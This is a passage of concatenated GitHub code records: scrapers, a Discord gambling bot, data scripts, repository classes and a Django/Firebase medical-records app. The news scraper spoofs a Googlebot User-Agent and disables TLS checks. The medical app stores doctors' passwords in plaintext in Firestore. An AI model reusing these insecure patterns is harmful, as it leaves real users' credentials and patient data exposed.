multiple=True,\n help=\"Filter departures by those in a certain direction\")\ndef scrape(station_id, direction):\n direction = [d.lower() for d in direction]\n soup = search(station_id)\n result = []\n for departure in soup.find_all('itddeparture'):\n if direction and departure.itdservingline['direction'].lower() not in direction:\n continue\n if departure.itdrtdatetime:\n # Real-time data\n dt = datetime(int(departure.itdrtdatetime.itddate['year']),\n int(departure.itdrtdatetime.itddate['month']),\n int(departure.itdrtdatetime.itddate['day']),\n int(departure.itdrtdatetime.itdtime['hour']),\n int(departure.itdrtdatetime.itdtime['minute']))\n elif departure.itddatetime:\n # Scheduled data\n dt = datetime(int(departure.itddatetime.itddate['year']),\n int(departure.itddatetime.itddate['month']),\n int(departure.itddatetime.itddate['day']),\n int(departure.itddatetime.itdtime['hour']),\n int(departure.itddatetime.itdtime['minute']))\n else:\n # Scheduled connection was cancelled\n continue\n result.append(dt.strftime(TIME_FORMAT))\n click.echo(json.dumps(result))\n\n\n@main.command()\n@click.argument('station_id')\ndef list_directions(station_id):\n soup = search(station_id, limit=1000)\n directions = set()\n for departure in soup.find_all('itddeparture'):\n directions.add(departure.itdservingline['direction'])\n for direction in sorted(list(directions)):\n click.echo(direction)\n\n\n@main.command()\n@click.argument('file', type=click.File('r'))\n@click.option('--format', '-f', help=\"Format string for datetimes\")\n@click.option('--limit', '-l', type=int, default=3,\n help=\"Limit the number of departure times displayed\")\ndef display(file, format, limit):\n now = _now()\n departures = [datetime.strptime(d, TIME_FORMAT).replace(tzinfo=TIMEZONE) for d in json.load(file)]\n departures = [d for d in departures if d > now][:limit]\n if not departures:\n click.echo(\"Scrape required!\")\n if format:\n click.echo(', '.join([d.strftime(format) for d in departures]))\n else:\n deltas = [str(int((d - now).seconds / 60)) for d in departures]\n click.echo(\"In {} min\".format(', '.join(deltas)))\n","repo_name":"kopf/vvs","sub_path":"vvs/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"17094957012","text":"from replit import db\nimport random\nimport discord\nfrom zstats import convertInt\n\n\nasync def dice(message, client):\n if str(message.author.id) not in db[\"members\"]:\n await message.channel.send(\"::\")\n return\n args = message.content.split(\" \")\n if len(args) == 2:\n await message.channel.send(\"you gotta bet something bro\")\n return\n\n if args[2] in [\"a\", \"all\", \"max\"]:\n amount = db[\"members\"][str(message.author.id)][\"money\"]\n if db[\"members\"][str(message.author.id)][\"money\"] > 100000:\n amount = 100000\n else:\n amount = convertInt(args[2])\n if not bool(amount):\n await message.channel.send(\"bet a number\")\n return\n\n if amount > db[\"members\"][str(message.author.id)][\"money\"]:\n await message.channel.send(\"thats more than u have lol\")\n return\n if db[\"members\"][str(message.author.id)][\"money\"] == 0:\n await message.channel.send(\"You have no money. '-'\")\n return\n if amount <= 0:\n await message.channel.send(\"can't bet less than 0\")\n return\n you = random.randint(1, 6)\n other = random.randint(1, 6)\n a = db[\"members\"]\n a[str(message.author.id)][\"amounts\"][\"gambled\"] += amount\n db[\"members\"] = a\n thing = \"\"\n if you > other:\n a = db[\"members\"]\n a[str(message.author.id)][\"money\"] += amount\n amount = f\"+{int(amount)}\"\n thing = \"won\"\n db[\"members\"] = a\n if other > you:\n a = db[\"members\"]\n a[str(message.author.id)][\"money\"] -= amount\n amount = f\"-{amount}\"\n thing = \"lost\"\n db[\"members\"] = a\n if other == you:\n thing = \"tied\"\n amount = \"+0\"\n await message.channel.send(\n f\"{message.author.mention} you got `{you}` and they got `{other}`, nothing happened. :/\"\n )\n return\n e = discord.Embed(\n title=\"\",\n description=f\"You {thing}, (coins {amount})\",\n colour=discord.Colour.red(),\n )\n e.set_author(\n name=f\"{message.author.name}'s dice game\", icon_url=message.author.avatar_url\n )\n\n e.add_field(name=\"- Your Score: \", value=f\"{you}\", inline=False)\n e.add_field(name=\"- Their Score: \", value=f\"{other}\", inline=False)\n e.set_footer(text=\"please come again!\")\n await message.channel.send(embed=e)\n","repo_name":"Yourself1011/farmoutbot","sub_path":"commands/gamble/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"3743351829","text":"# coding = utf-8\nfrom data.model.Config import *\nfrom data.model.Input import *\nfrom data.model.Output import *\n\n\nclass Serial(Model.Model):\n class SerialConfig(Config):\n\n def __init__(self):\n super().__init__()\n self.N = 0 # 组串个数\n\n class SerialInput(Input):\n\n def __init__(self):\n super().__init__()\n self.modules = [] # 组件\n\n class SerialOutput(Output):\n\n def __init__(self):\n super().__init__()\n self.I = 0 # 输出电流\n self.V = 0 # 输出电压\n\n def __init__(self, m_input=None, m_output=None, m_config=None):\n super().__init__(m_input, m_output, m_config)\n\n if m_input is None:\n self.input = self.SerialInput()\n\n if m_output is None:\n self.output = self.SerialOutput()\n\n if m_config is None:\n self.config = self.SerialConfig()\n\n self.loss = 0\n self.T = 0\n\n def calc_output(self):\n super().calc_output()\n if len(self.input.modules) == 0:\n self.output.I = 0\n self.output.V = 0\n return\n self.output.I = max([item.output.I for item in self.input.modules])\n self.output.V = sum([item.output.V for item in self.input.modules])\n","repo_name":"hefvcjm/HuaNengPV","sub_path":"data/serial/Serial.py","file_name":"Serial.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"21390050325","text":"\r\nimport pandas as pd\r\nimport csv\r\nimport os\r\nimport math\r\nimport statistics\r\nimport matplotlib.pyplot as plt\r\n\r\nteams = ['Atlanta Hawks', 'Boston Celtics', 'Brooklyn Nets', 'Charlotte Hornets', 'Chicago Bulls', 'Cleveland Cavaliers', 'Dallas Mavericks', 'Denver Nuggets',\r\n 'Detroit Pistons', 'Golden State Warriors', 'Houston Rockets', 'Indiana Pacers', 'Los Angeles Clippers', 'Los Angeles Lakers', 'Memphis Grizzlies',\r\n 'Miami Heat', 'Milwaukee Bucks', 'Minnesota Timberwolves', 'New Orleans Pelicans', 'New York Knicks', 'Oklahoma City Thunder', 'Orlando Magic',\r\n 'Philadelphia 76ers', 'Phoenix Suns', 'Portland Trail Blazers', 'Sacramento Kings', 'San Antonio Spurs', 'Toronto Raptors', 'Utah Jazz', 'Washington Wizards']\r\n\r\npayoffbrackets = [[2.0, 2.5], [2.5, 3.0], [3.0, 3.5], [3.5, 4.0], [4.0, 4.5], [4.5, 5.0], [5.0, 100.0]]\r\npayoffcounters = [0, 0, 0, 0, 0, 0, 0]\r\n\r\nyear = 2010\r\n\r\nwhile year <= 2021:\r\n\r\n path = r'C:\\Users\\61437\\Documents\\Data\\NBA Data\\NBA Regular Season Data\\NBA Regular Season ' + str(year - 1) + '-' + str(year)\r\n os.chdir(path)\r\n\r\n for team in teams:\r\n\r\n # If data does not exist: skip team\r\n if os.path.exists('NBA ' + str(year - 1) + '-' + str(year) + ' regular season - ' + team + '.csv') == False:\r\n continue\r\n\r\n # If data does exist: continue\r\n else:\r\n df = pd.read_csv('NBA ' + str(year - 1) + '-' + str(year) + ' regular season - ' + team + '.csv')\r\n\r\n # Getting data for current season - team\r\n for index, row in df.iterrows():\r\n\r\n if (int(row[3]) > int(row[4])) and (row[5] >= 2):\r\n for bracket in payoffbrackets:\r\n if bracket[0] <= row[5] <= bracket[1]:\r\n payoffcounters[payoffbrackets.index(bracket)] += 1\r\n\r\n if (int(row[3]) < int(row[4])) and (row[6] >= 2):\r\n for bracket in payoffbrackets:\r\n if bracket[0] <= row[6] <= bracket[1]:\r\n payoffcounters[payoffbrackets.index(bracket)] += 1\r\n year += 1\r\n\r\nplt.plot(payoffcounters)\r\nplt.xticks([2.5, 3.0, 3.5, 4.0, 4.5, 5.0, 6.0])\r\nplt.show()\r\n","repo_name":"xrplong/NBA-Betting-Algorithm","sub_path":"odds payoff distribution.py","file_name":"odds payoff distribution.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38095275983","text":"from uuid import UUID\nfrom typing import Any, Union, Dict\nfrom sqlalchemy.orm import DeclarativeMeta\nfrom sqlalchemy.sql import Select, Insert, Update, Delete\nfrom .self_method_binder import SelfMethodBinder\nfrom .string_clause_binder import StringClauseBuilder\n\n\nclass ClauseBinder(SelfMethodBinder, StringClauseBuilder):\n def bind(\n self,\n clause: Dict[str, Any],\n mapper: DeclarativeMeta,\n stmt: Union[Select, Insert, Update, Delete],\n uuid: UUID\n ) -> Select:\n return self._bind(\n clause=clause,\n mapper=mapper,\n stmt=stmt,\n uuid=uuid,\n )\n","repo_name":"SherkhanSyzdykov/alchemy_provider","sub_path":"alchemy_provider/clause_binder/clause_binder.py","file_name":"clause_binder.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"44165729044","text":"from copy import deepcopy\nfrom datetime import datetime\nfrom typing import List, Optional, Tuple\nfrom uuid import UUID, uuid4\n\nfrom sqlalchemy import Result, desc, func, select\nfrom sqlalchemy.orm import aliased\nfrom sqlalchemy.orm.session import make_transient\nfrom sqlalchemy.sql import and_, or_\n\nfrom app.dynamic.db.object_static_table import ObjectStaticsTable\nfrom app.dynamic.repository.repository import BaseRepository\nfrom app.dynamic.utils.pagination import SortedPagination\nfrom app.extensions.modules.db.module_objects_tables import ModuleObjectsTable\nfrom app.extensions.modules.db.tables import ModuleObjectContextTable, ModuleTable\nfrom app.extensions.modules.models.models import ModuleObjectActionFilter, ModuleStatusCode\n\n\nclass ModuleObjectRepository(BaseRepository):\n def get_by_uuid(self, uuid: UUID) -> Optional[ModuleObjectsTable]:\n stmt = select(ModuleObjectsTable).filter(ModuleObjectsTable.UUID == uuid)\n return self.fetch_first(stmt)\n\n def get_by_object_type_and_uuid(self, object_type: str, uuid: UUID) -> Optional[ModuleObjectsTable]:\n stmt = (\n select(ModuleObjectsTable)\n .filter(ModuleObjectsTable.UUID == uuid)\n .filter(ModuleObjectsTable.Object_Type == object_type)\n )\n return self.fetch_first(stmt)\n\n def get_by_module_id_object_type_and_uuid(\n self, module_id: int, object_type: str, uuid: UUID\n ) -> Optional[ModuleObjectsTable]:\n stmt = (\n select(ModuleObjectsTable)\n .filter(ModuleObjectsTable.UUID == uuid)\n .filter(ModuleObjectsTable.Module_ID == module_id)\n .filter(ModuleObjectsTable.Object_Type == object_type)\n )\n return self.fetch_first(stmt)\n\n def get_latest_by_id(self, module_id: int, object_type: str, object_id: int) -> Optional[ModuleObjectsTable]:\n stmt = (\n select(ModuleObjectsTable)\n .filter(ModuleObjectsTable.Module_ID == module_id)\n .filter(ModuleObjectsTable.Object_Type == object_type)\n .filter(ModuleObjectsTable.Object_ID == object_id)\n .order_by(desc(ModuleObjectsTable.Modified_Date))\n )\n return self.fetch_first(stmt)\n\n @staticmethod\n def _build_snapshot_objects_query(module_id: int, before: datetime):\n return (\n select(\n ModuleObjectsTable,\n func.row_number()\n .over(\n partition_by=ModuleObjectsTable.Code,\n order_by=desc(ModuleObjectsTable.Modified_Date),\n )\n .label(\"_RowNumber\"),\n )\n .select_from(ModuleObjectsTable)\n .filter(ModuleObjectsTable.Module_ID == module_id)\n .filter(ModuleObjectsTable.Modified_Date < before)\n )\n\n def get_objects_in_time(self, module_id: int, before: datetime) -> List[ModuleObjectsTable]:\n subq = self._build_snapshot_objects_query(module_id, before).subquery()\n aliased_objects = aliased(ModuleObjectsTable, subq)\n stmt = select(aliased_objects).filter(subq.c._RowNumber == 1).filter(subq.c.Deleted == False)\n\n objects: List[ModuleObjectsTable] = self._db.execute(stmt).scalars()\n return objects\n\n @staticmethod\n def latest_per_module_query(\n code: str,\n status_filter: Optional[List[str]] = None,\n is_active: bool = True,\n ):\n \"\"\"\n Fetch the latest module object versions grouped by\n every module containing it. used e.g. to list any\n active draft versions of an existing valid object.\n \"\"\"\n subq = (\n select(\n ModuleObjectsTable,\n ModuleTable,\n func.row_number()\n .over(\n partition_by=ModuleObjectsTable.Module_ID,\n order_by=desc(ModuleObjectsTable.Modified_Date),\n )\n .label(\"_RowNumber\"),\n )\n .select_from(ModuleObjectsTable)\n .join(ModuleTable)\n )\n\n filters = [ModuleObjectsTable.Code == code]\n if is_active:\n filters.append(ModuleTable.is_active) # Closed false + Activated true\n if status_filter is not None:\n filters.append(ModuleTable.Current_Status.in_(status_filter))\n if len(filters) > 0:\n subq = subq.filter(and_(*filters))\n\n subq = subq.subquery()\n aliased_objects = aliased(ModuleObjectsTable, subq)\n aliased_module = aliased(ModuleTable, subq)\n stmt = (\n select(aliased_objects, aliased_module).filter(subq.c._RowNumber == 1).order_by(desc(subq.c.Modified_Date))\n )\n return stmt\n\n def get_latest_per_module(\n self,\n code: str,\n minimum_status: Optional[ModuleStatusCode] = None,\n is_active: bool = True,\n ) -> Result[Tuple[ModuleObjectsTable, ModuleTable]]:\n # Build minimum status list starting at given status, if provided\n status_filter = ModuleStatusCode.after(minimum_status) if minimum_status is not None else None\n query = self.latest_per_module_query(code=code, status_filter=status_filter, is_active=is_active)\n return self._db.execute(query) # execute raw to allow tuple return object + module\n\n def get_all_latest(\n self,\n pagination: SortedPagination,\n only_active_modules: bool = True,\n minimum_status: Optional[ModuleStatusCode] = None,\n owner_uuid: Optional[UUID] = None,\n object_type: Optional[str] = None,\n action: Optional[ModuleObjectActionFilter] = None,\n ):\n \"\"\"\n Generic filterable listing of latest module-object versions\n fetched grouped per object Code.\n \"\"\"\n subq = (\n select(\n ModuleObjectsTable,\n func.row_number()\n .over(\n partition_by=ModuleObjectsTable.Code,\n order_by=desc(ModuleObjectsTable.Modified_Date),\n )\n .label(\"_RowNumber\"),\n )\n .select_from(ModuleObjectsTable)\n .join(ModuleTable)\n .join(ModuleObjectsTable.ObjectStatics)\n .join(ModuleObjectsTable.ModuleObjectContext)\n )\n\n # Build minimum status list starting at given status, if provided\n status_filter = ModuleStatusCode.after(minimum_status) if minimum_status is not None else None\n\n # Build filter list\n filters = [\n ModuleTable.is_active if only_active_modules else None,\n ModuleTable.Current_Status.in_(status_filter) if status_filter is not None else None,\n or_(\n ObjectStaticsTable.Owner_1_UUID == owner_uuid,\n ObjectStaticsTable.Owner_2_UUID == owner_uuid,\n ).self_group()\n if owner_uuid is not None\n else None,\n ModuleObjectsTable.Object_Type == object_type if object_type is not None else None,\n ModuleObjectContextTable.Action == action if action is not None else None,\n ]\n filters = [f for f in filters if f is not None] # first remove None filters\n subq = subq.filter(and_(*filters)) # apply remaining filters to the query\n\n subq = subq.subquery()\n aliased_objects = aliased(ModuleObjectsTable, subq)\n aliased_module = aliased(ModuleTable, subq)\n\n # Select module-objects + current module status\n stmt = select(aliased_objects, aliased_module.Current_Status).filter(subq.c._RowNumber == 1)\n\n return self.fetch_paginated_no_scalars(\n statement=stmt,\n limit=pagination.limit,\n offset=pagination.offset,\n sort=(getattr(subq.c, pagination.sort.column), pagination.sort.order),\n )\n\n def patch_latest_module_object(\n self,\n module_id: int,\n object_type: str,\n object_id: int,\n changes: dict,\n timepoint: datetime,\n by_uuid: UUID,\n ) -> ModuleObjectsTable:\n record: Optional[ModuleObjectsTable] = self.get_latest_by_id(\n module_id,\n object_type,\n object_id,\n )\n if not record:\n raise ValueError(f\"lineage_id does not exist in this module\")\n\n new_record: ModuleObjectsTable = self.patch_module_object(\n record,\n changes,\n timepoint,\n by_uuid,\n )\n return new_record\n\n def patch_module_object(\n self,\n record: ModuleObjectsTable,\n changes: dict,\n timepoint: datetime,\n by_uuid: UUID,\n ) -> ModuleObjectsTable:\n previous_uuid: UUID = deepcopy(record.UUID)\n\n # Release the object from sqlalchemy so we can use it as the base of a new object\n self._db.expunge(record)\n make_transient(record)\n\n for key, value in changes.items():\n setattr(record, key, value)\n\n record.UUID = uuid4()\n record.Adjust_On = previous_uuid\n record.Modified_Date = timepoint\n record.Modified_By_UUID = by_uuid\n\n return record\n","repo_name":"Provincie-Zuid-Holland/Omgevingsbeleid-API","sub_path":"app/extensions/modules/repository/module_object_repository.py","file_name":"module_object_repository.py","file_ext":"py","file_size_in_byte":9145,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"40850371290","text":"from django.shortcuts import render\n\n# Create your views here.\n\nimport requests\nfrom django.shortcuts import render, redirect\nfrom bs4 import BeautifulSoup as BSoup\nfrom django.template.defaultfilters import title\n\n#from main_dir.hp.models import Extract_Headline\n\n#function to scrape web for article data\nfrom main_dir.hp.models import Extract_Headline\n\n\ndef scraper(request):\n session = requests.Session()\n session.headers = {\"User-Agent\": \"Googlebot/2.1 (+http://www.google.com/bot.html)\"}\n url = \"https://www.theonion.com/\"\n content = session.get(url, verify=False).content\n soup = BSoup(content, \"html.parser\")\n News = soup.find_all('div', {\"class\":\"curation-module__item\"})\n for artcile in News:\n main = artcile.find_all('a')[0]\n link = main['href']\n # image_src = str(main.find('img')['srcset']).split(\" \")[-4]\n title = main['title']\n new_headline = Extract_Headline()\n new_headline.title = title\n new_headline.url = link\n # new_headline.image = image_src\n new_headline.save()\n\n return redirect(\"../\")\n\n\nnew_headline = Extract_Headline()\nnew_headline.title = title\n#new_headline.url = link\n#new_headline.image = image_src\nnew_headline.save()\n\n\ndef news_list(request):\n headlines = Extract_Headline.objects.all()[::-1]\n context = {\n 'object_list': headlines,\n }\n return render(request, \"news/home.html\", context)\n\n","repo_name":"mobronfin/HunnyPot","sub_path":"main_dir/hp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14844446516","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nfrom datetime import datetime\n\nfrom langchain.agents import Tool\n\n\ndef main():\n def today_date(query: str) -> str:\n now = datetime.now()\n result = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n return result\n\n tool = Tool(\n name=\"Today Date\",\n func=today_date,\n description=\"useful for when you want to know the date of today\"\n )\n\n observation = tool.run(\n \"\",\n verbose=True,\n color=\"green\",\n callbacks=None,\n )\n print('\\n')\n print(observation)\n return\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"qgyd2021/OpenLangChain","sub_path":"examples/api/tools/tool_customized.py","file_name":"tool_customized.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17801880848","text":"class Solution:\n def findMinDifference(self, timePoints: List[str]) -> int:\n arr = set()\n for time in timePoints:\n hr,minu = time.split(\":\")\n number = int(hr)*60 + int(minu)\n if number in arr:\n return 0\n arr.add(number)\n \n arr = sorted(arr)\n out = 1440\n for i in range(1,len(arr)):\n out = min(out,arr[i]-arr[i-1])\n \n return min(out,1440-arr[-1]+arr[0])\n \n \n \n ","repo_name":"DhawalV1/competitiveCoding","sub_path":"539-minimum-time-difference/539-minimum-time-difference.py","file_name":"539-minimum-time-difference.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37071461813","text":"import requests\nimport json\n\n\n\nurl_Summary = 'https://api.covid19api.com/summary'\nurl_All='https://api.covid19api.com/country/united-states/status/confirmed/live'\n\n\nresponse_Summary = requests.get(url_Summary)\nresponse_All = requests.get(url_All)\n\n\ndata_Summary = response_Summary.json()\ndata_All = response_All.json()\n\n\nprint(\"Summary:\", data_All[1]['Cases'])\n\nlength_All = len(data_All)\nlength_Summary = len(data_Summary)\n\n\n# newdata = json.dumps(data['Countries'][1]['NewConfirmed'], separators=(',', ':'))\n# newnew =int(newdata)\n\n# print(newnew)\n\nfor x in range(length_Summary):\n if int(json.dumps(data_Summary['Countries'][x]['NewConfirmed'], separators=(',', ':'))) >= 1:\n print(data_Summary['Countries'][x]['Country'] + \":\",data_Summary['Countries'][x]['NewConfirmed']) \n\n\nfor x in range(length_All):\n if int(json.dumps(data_All[x]['Cases'], separators=(',', ':'))) >= 1:\n print( data_All[x]['Province'] + \":\" + data_All[x]['City'] + \" Cases today:\" + str(data_All[x]['Cases'])\n + \" Lat:\" +str(data_All[x]['Lat']) + \" Lon:\" + str(data_All[x]['Lon'])\n )\n\n# json_data = json.dumps(data[\"Country\": \"Israel\"], separators=(',', ':'))\n\n# json_object = json.loads(json_data)\n\n# json_formatted_str = json.dumps(json_object, indent=2)\n\n# print(json_formatted_str)","repo_name":"leeftk/COVIDAPI","sub_path":"covidapi.py","file_name":"covidapi.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15376501526","text":"from django.http import HttpResponse\nfrom django.shortcuts import render \nfrom django.contrib.auth import authenticate\nfrom django.db import models\n\nimport pyrebase \nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\n\n# Kian Cliffe\n# R00179744\n\nimport pandas as pd\nimport numpy as np\nimport pickle\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import accuracy_score, auc, roc_curve\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.callbacks import ModelCheckpoint\n\n# Note that 'Group' column is whether the patient has Alzheimer's or not\n\n\n\n \nconfig= {\n \"apiKey\": \"AIzaSyBu86x_GupGfNc_NHIaD8CwdGVp-UJfwKo\",\n \"authDomain\": \"mediweb-94472.firebaseapp.com\",\n \"databaseURL\": \"https://mediweb-94472-default-rtdb.firebaseio.com\",\n \"projectId\": \"mediweb-94472\",\n \"storageBucket\": \"mediweb-94472.appspot.com\",\n \"messagingSenderId\": \"863481855765\",\n \"appId\": \"1:863481855765:web:56c4173ed1f3cca2e0731c\"\n}\n\nfirebase = pyrebase.initialize_app(config)\nauthe = firebase.auth()\ndatabase = firebase.database()\n\n\nif not firebase_admin._apps:\n cred = credentials.Certificate(\"mediweb-key.json\")\n firebase_admin.initialize_app(cred)\ndb = firestore.client()\n\n\nfirebase = pyrebase.initialize_app(config)\nauth = firebase.auth()\n\n\n \npatientsList = [] \ndoctorslist = [] \n\nclass doctor: \n def __init__(self, firstName, lastName, emailAddress, listOfPatients,specialty): \n self.firstName = firstName\n self.lastName = lastName\n \n self.emailAddress = emailAddress\n self.listOfPatients = listOfPatients\n self.specialty = specialty\n\n\ndoctors_ref = db.collection('doctors')\ndoc_docs = doctors_ref.stream()\n\nfor doc in doc_docs:\n firstName = u'{}'.format(doc.to_dict()['FirstName'])\n lastName = u'{}'.format(doc.to_dict()['LastName'])\n email = u'{}'.format(doc.to_dict()['Email'])\n listOfPatients = u'{}'.format(doc.to_dict()['ListOfPatients'])\n specialty = u'{}'.format(doc.to_dict()['Specialty'])\n\n doctorslist.append(doctor (firstName, lastName, email, listOfPatients, specialty))\n \ndef getPatients(username):\n class patient: \n def __init__(self, firstName, lastName, emailAddress, patientID, phoneNumber, address, DOB): \n self.firstName = firstName \n self.lastName = lastName\n self.emailAddress = emailAddress\n\n self.patientID = patientID\n self.phoneNumber = phoneNumber\n self.address = address\n self.DOB = DOB\n\n if not patientsList:\n users_ref = db.collection('patients')\n docs = users_ref.stream()\n\n for doc in docs:\n patient_first_name = u'{}'.format(doc.to_dict()['FirstName'])\n patient_last_name = u'{}'.format(doc.to_dict()['LastName'])\n patient_email = u'{}'.format(doc.to_dict()['Email'])\n\n patientID = u'{}'.format(doc.to_dict()['PatientID'])\n phoneNumber = u'{}'.format(doc.to_dict()['Phone Number'])\n address = u'{}'.format(doc.to_dict()['Address'])\n dob = u'{}'.format(doc.to_dict()['DOB'])\n\n for doctor in doctorslist:\n if (doctor.emailAddress == username):\n for patient_id in doctor.listOfPatients:\n if (patientID == patient_id):\n patientsList.append(patient (patient_first_name, patient_last_name, patient_email, patientID, phoneNumber, address, dob))\n\n\n else:\n patientsList.clear()\n\n users_ref = db.collection('patients')\n docs = users_ref.stream()\n\n for doc in docs:\n patient_first_name = u'{}'.format(doc.to_dict()['FirstName'])\n patient_last_name = u'{}'.format(doc.to_dict()['LastName'])\n patient_email = u'{}'.format(doc.to_dict()['Email'])\n\n patientID = u'{}'.format(doc.to_dict()['PatientID'])\n phoneNumber = u'{}'.format(doc.to_dict()['Phone Number'])\n address = u'{}'.format(doc.to_dict()['Address'])\n dob = u'{}'.format(doc.to_dict()['DOB'])\n\n for doctor in doctorslist:\n if (doctor.emailAddress == username):\n for patient_id in doctor.listOfPatients:\n if (patientID == patient_id):\n patientsList.append(patient (patient_first_name, patient_last_name, patient_email, patientID, phoneNumber, address, dob))\n\n\n\ndef seePatientDetails(request):\n patientID = request.POST.get('patientID')\n\n for patient in patientsList:\n if (patient.patientID == patientID):\n return render(request, 'patient-details.html', {\n \"patient\" : patient,\n \"patientID\" : patientID, \n })\n\n\ndef updatePatientDetails(request):\n # patientID_input = request.POST.get('patientID')\n\n patientID_input = 2\n\n \n\n firstName = \"\"\n lastName = \"\"\n email = \"\"\n address = \"\"\n phoneNumber = \"\"\n\n for patient in patientsList:\n print(type(patientID_input))\n print(type(int(patient.patientID) ))\n\n if (int(patient.patientID) == patientID_input):\n\n\n\n firstName = patient.patient_first_name\n lastName = patient.patient_last_name\n email = patient.patient_email\n address = patient.address\n phoneNumber = patient.phoneNumber\n\n print(firstName, lastName, email, address, phoneNumber)\n\n\n\n\n return render(request, 'patient-details.html', {\n \"firstName\" : firstName,\n \"lastName\" : lastName,\n \"email\" : email,\n \"address\" : address,\n \"phoneNumber\" : phoneNumber,\n })\n\n\ndef patients(request):\n return render(request, 'patients.html', {\n \"patientsList\" : patientsList, \n })\n\n\n\ndef welcome(request):\n return render(request,'welcome.html')\n\n\nimport re \n \nregex = '^[a-z0-9]+[\\._]?[a-z0-9]+[@]\\w+[.]\\w{2,3}$' \n \ndef checkEmail(email): \n \n if(re.search(regex,email)): \n return True\n else: \n return False \n\n\ndef signup_post(request):\n email = request.POST.get('email')\n passs = request.POST.get('password')\n\n firstName = request.POST.get('firstName')\n lastName = request.POST.get('lastName')\n specialty = request.POST.get('specialty_from_dropdown')\n\n toChange = \"\"\n allgood = True\n\n for doctor in doctorslist:\n if (doctor.emailAddress == email):\n tochange = toChange + \"\\n\" + \"Email already exists in our database.\"\n\n allgood = False\n \n if (firstName == \"\" or lastName == \"\" or passs == \"\" or email == \"\"):\n tochange = toChange + \"\\n\" + \"Some fields are empty. Please fill them up. \"\n allgood = False\n \n if (checkEmail(email) == False):\n tochange = toChange + \"\\n\" + \"Your email address is invalid. Please enter a valid email.\"\n\n \n \n if (allgood == True):\n try:\n # creating a user with the given email and password\n user=authe.create_user_with_email_and_password(email,passs)\n id = len(doctorslist) + 1\n id_str = str(id)\n\n db.collection(\"doctors\").add(\n {\n 'DoctorID' : id_str,\n 'FirstName' : firstName,\n 'LastName' : lastName,\n 'Specialty' : specialty,\n\n 'Email' : email,\n 'Password' : passs,\n\n 'ListOfPatients' : [],\n })\n\n uid = user['localId']\n idtoken = request.session['uid']\n print(uid)\n\n except:\n return HttpResponse(\"Something went wrong...\")\n\n return render(request,\"welcome.html\")\n \n else:\n return render(request, 'signup.html', {\n \"specialtiesList\" : specialtiesList,\n \"tochange\" : tochange,\n })\n\nspecialtiesList= [\"Surgeon\", \"Podiatrist\"] \n\ndef signup(request):\n return render(request, 'signup.html', {\n \"specialtiesList\" : specialtiesList,\n })\n\ndoctor_firstName = \"\"\ndoctor_LastName = \"\"\nspecialty = \"\"\n\ndef signin(request):\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n for doctor in doctorslist:\n if (doctor.emailAddress == username):\n print(\"OK\")\n\n doctor_firstName = doctor.firstName\n doctor_LastName = doctor.lastName\n specialty = doctor.specialty\n\n try:\n # if there is no error then signin the user with given email and password\n user=authe.sign_in_with_email_and_password(username,password)\n\n except:\n return HttpResponse(\"Wrong username or password\")\n\n session_id=user['idToken']\n request.session['uid']=str(session_id) \n\n getPatients(username)\n \n return render(request, 'dashboard.html', {\n \"user_FirstName\" : doctor_firstName,\n \"user_LastName\" : doctor_LastName,\n \"user_Specialty\": specialty\n })\n\ndef logout(request):\n try:\n del request.session['uid']\n\n except:\n pass\n\n print(\"You're logged in\")\n return render(request,\"welcome.html\")\n\ndef dashboard(request):\n return render(request, 'dashboard.html', {\n \"user_FirstName\" : doctor_firstName,\n \"user_LastName\" : doctor_LastName,\n \"user_Specialty\": specialty\n })\n\n\n\ndef riskProfiles(request):\n return render(request, 'risk-profiles.html', {\n \"patientsList\" : patientsList,\n \n })\n\n\n\ndef alzheimerRiskProfile_Api():\n result = \"Medium level of risk\"\n return result\n\ndef patientRiskProfiles(request):\n patientID = request.POST.get('patient_from_dropdown')\n AlzheimerRiskProfile_Report = []\n docs = db.collection(\"patients\").get()\n\n for doc in docs:\n if (str(doc.to_dict()['PatientID']))==patientID:\n key = doc.id\n AlzheimerRiskProfile_Report = u'{}'.format(doc.to_dict()['Alzheimer_RiskLevel_Reports'])\n\n else:\n print(\"They are different...\")\n\n return render(request, 'user-profiling.html', {\n \"patientsList\" : patientsList,\n \"alzheimer_RiskReports\" : 